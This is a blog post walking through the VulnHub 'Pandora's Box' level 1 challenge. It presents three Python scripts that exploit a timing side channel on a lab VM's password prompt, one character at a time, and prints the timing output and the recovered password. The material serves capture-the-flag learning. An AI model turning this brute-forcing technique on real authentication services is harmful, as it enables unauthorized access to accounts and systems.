Thursday, April 2, 2015

vulnhub - Pandora's Box by c0ne Level 1 - Following walkthrough by strata

I was looking through the boot 2 root vulnerable images that they have on vulnhub.com and Pandora's box caught my eye.  I wanted to follow and experiment with this timing attack described in the walkthrough done by strata.  I am using code that resembles that used by strata.

To briefly describe what is occurring to gather the first password.  You can connect on port 54311 and you are prompted for a password.  strata determined through some testing that if you guessed the correct letter in the password it would return quicker than if you did not.  I wanted to be able to see this so I created the following script:

#!/usr/bin/python

import socket
import time
import sys

server="172.16.102.137"
dstPort=54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, dstPort))

def returnDuration(sentStr):
p = time.time()
while True: 
infoRecv = s.recv(1024)
#print infoRecv
if 'Password:' in infoRecv:
dur = time.time() - p
s.send(sentStr)
#print sentStr
p = time.time()
break
return dur

prevChar = ''
for c in chars:
duration = returnDuration(c)
sys.stdout.write('Character: '+prevChar+' Duration: '+str(duration)+'\n')
#sys.stdout.flush()
prevChar = c

s.close()


Then looking at the output generated below you can see 1 time that I have placed in bold that is unique compared to the rest of them:

Character:  Duration: 0.00488305091858
Character: A Duration: 0.00655603408813
Character: B Duration: 0.00632214546204
Character: C Duration: 0.00625109672546
Character: D Duration: 0.00619411468506
Character: E Duration: 0.00643992424011
Character: F Duration: 0.00619196891785
Character: G Duration: 0.00631403923035
Character: H Duration: 0.00625681877136
Character: I Duration: 0.00621390342712
Character: J Duration: 0.00630879402161
Character: K Duration: 0.00599098205566
Character: L Duration: 0.00684380531311
Character: M Duration: 0.00607490539551
Character: N Duration: 0.00646018981934
Character: O Duration: 0.0061399936676
Character: P Duration: 0.00625014305115
Character: Q Duration: 0.00637698173523
Character: R Duration: 0.00049901008606
Character: S Duration: 0.00582885742188
Character: T Duration: 0.00612902641296


You can see that when the R is sent it is returned with a duration of 4/10,000th of a second verses 6/1,000th of a second.  With this knowledge we can move onto the second letter and see the timing difference of it. Below is the script that was created:

#!/usr/bin/python

import socket
import time
import sys

server="172.16.102.137"
dstPort=54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
myString = "R"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, dstPort))

def returnDuration(myStr, sentStr):
p = time.time()
while True: 
infoRecv = s.recv(1024)
if 'Password:' in infoRecv:
dur = time.time() - p
theString = myStr + sentStr
s.send(theString)
p = time.time()
break
return dur

prevChar = ''
for c in chars:
duration = returnDuration(myString, c)
sys.stdout.write('Character: '+myString+prevChar+' Duration: '+str(duration)+'\n')
#sys.stdout.flush()
prevChar = c

s.close()

Then here is the output showing the time differential:

Character: Rx Duration: 0.00620317459106
Character: Ry Duration: 0.00646805763245
Character: Rz Duration: 0.00625610351562
Character: R0 Duration: 0.00633692741394
Character: R1 Duration: 0.00613498687744
Character: R2 Duration: 0.0062358379364
Character: R3 Duration: 0.00074315071106
Character: R4 Duration: 0.00586795806885
Character: R5 Duration: 0.00628089904785
Character: R6 Duration: 0.00626301765442

With this information we know that the first letter of the password is R and then 3 for the second character. Then I modified the script to build the string that is the password to login:

#!/usr/bin/python

import socket
import time
import sys

server="172.16.102.137"
dstPort=54311
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
myString = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, dstPort))

def returnDuration(myStr, sentStr):
p = time.time()
while True: 
infoRecv = s.recv(1024)
if 'Password:' in infoRecv:
dur = time.time() - p
theString = myStr + sentStr
s.send(theString)
p = time.time()
break
return dur

prevChar = ''
avgDuration = 0
totDuration = 0
counter = 1
while True:
for c in chars:
duration = returnDuration(myString, c)
if (duration < (avgDuration - 0.002)):
sys.stdout.write('Character: '+myString+prevChar+' Duration: '+str(duration)+'\n')
sys.stdout.flush()
myString += prevChar
break
totDuration += duration
avgDuration = totDuration / counter
prevChar = c
counter += 1

s.close()

The output of the script is shown below:

Character: R Duration: 0.000787973403931
Character: R3 Duration: 0.000657081604004
Character: R3s Duration: 0.000658988952637
Character: R3sp Duration: 0.000643968582153
Character: R3sp3 Duration: 0.000663042068481
Character: R3sp3c Duration: 0.000618934631348
Character: R3sp3ct Duration: 0.000653028488159
Character: R3sp3ctY Duration: 0.001296043396
...snip...
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY Duration: 0.000643968582153
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY0 Duration: 0.000671863555908
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04 Duration: 0.000775098800659
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04r Duration: 0.000690937042236
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG Duration: 0.000648021697998
Character: R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0 Duration: 0.000640153884888


From this we can conclude the password is "R3sp3ctY04r4dm1niSt4t0rL1keYo4R3spectY04rG0d".






No comments:

Post a Comment

Powershell - Gather Mapped Drives from a List of Computer Names

I created the following Powershell script to gather remotely the mapped drives that users had in their profiles.  I had to create the script...